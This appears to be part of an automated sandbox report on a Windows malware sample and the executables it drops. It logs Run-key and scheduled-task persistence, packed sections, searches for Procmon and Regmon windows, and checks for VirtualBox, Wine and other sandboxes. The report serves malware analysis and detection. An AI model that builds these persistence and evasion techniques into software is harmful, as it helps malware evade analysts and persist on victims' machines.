Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E91088 push 01E55521h; mov dword ptr [esp], esi	2_2_00E9109E
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9088E push edx; mov dword ptr [esp], 5E741F27h	2_2_00E9351C
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9088E push ecx; mov dword ptr [esp], esi	2_2_00E9352E
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9088E push ebp; mov dword ptr [esp], 4EB9C8DAh	2_2_00E93532
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9088E push ebx; mov dword ptr [esp], esi	2_2_00E9353D
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9089A push 747B0685h; mov dword ptr [esp], esp	2_2_00E91AC7
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_0101C185 push eax; ret	2_2_0101C194
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_01013997 push 49ACD9F2h; mov dword ptr [esp], esi	2_2_010139A0
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9184E push ecx; mov dword ptr [esp], 7E6F27C7h	2_2_00E92331
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_00E9184E push ebp; mov dword ptr [esp], 016B3E53h	2_2_00E9441F
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010139A8 push 7785BD50h; mov dword ptr [esp], ebx	2_2_010139B9
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010091B8 push ebp; mov dword ptr [esp], edi	2_2_010091B9
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010091B8 push ebx; mov dword ptr [esp], 7EFE7CABh	2_2_010091BD
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010041BB push 1D162CD6h; mov dword ptr [esp], edi	2_2_01004956
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Code function: 2_2_010041BB push 399430C8h; mov dword ptr [esp], esp	2_2_01004963

Source: file.exe	Static PE information: section name: entropy: 7.970591294370176
Source: 910S1Q63XQ87I6P4.exe.0.dr	Static PE information: section name: entropy: 7.759797700172106
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: entropy: 7.988207339350633
Source: SP29EZJLUAF4OXVNPKLP.exe.0.dr	Static PE information: section name: hbhuwskf entropy: 7.95337986085447
Source: skotes.exe.3.dr	Static PE information: section name: entropy: 7.988207339350633
Source: skotes.exe.3.dr	Static PE information: section name: hbhuwskf entropy: 7.95337986085447
Source: random[1].exe.8.dr	Static PE information: section name: entropy: 7.970591294370176
Source: 3e1d30d118.exe.8.dr	Static PE information: section name: entropy: 7.970591294370176
Source: random[1].exe0.8.dr	Static PE information: section name: rcutauay entropy: 7.954004161213286
Source: c077ee22d1.exe.8.dr	Static PE information: section name: rcutauay entropy: 7.954004161213286
Source: 6QPF41LR0H1R83WBFIVMMOQHW.exe.10.dr	Static PE information: section name: entropy: 7.759797700172106
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: entropy: 7.988207339350633
Source: J3F2AVPL447NSFJEKUT1.exe.10.dr	Static PE information: section name: hbhuwskf entropy: 7.95337986085447

Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File created: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZJCZETOO\num[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File created: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003125001\num.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: Regmonclass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: Filemonclass
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 3e1d30d118.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run c077ee22d1.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run a8c7d2631f.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1003124001\a8c7d2631f.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\910S1Q63XQ87I6P4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SP29EZJLUAF4OXVNPKLP.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003122001\3e1d30d118.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\6QPF41LR0H1R83WBFIVMMOQHW.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1003123001\c077ee22d1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\J3F2AVPL447NSFJEKUT1.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

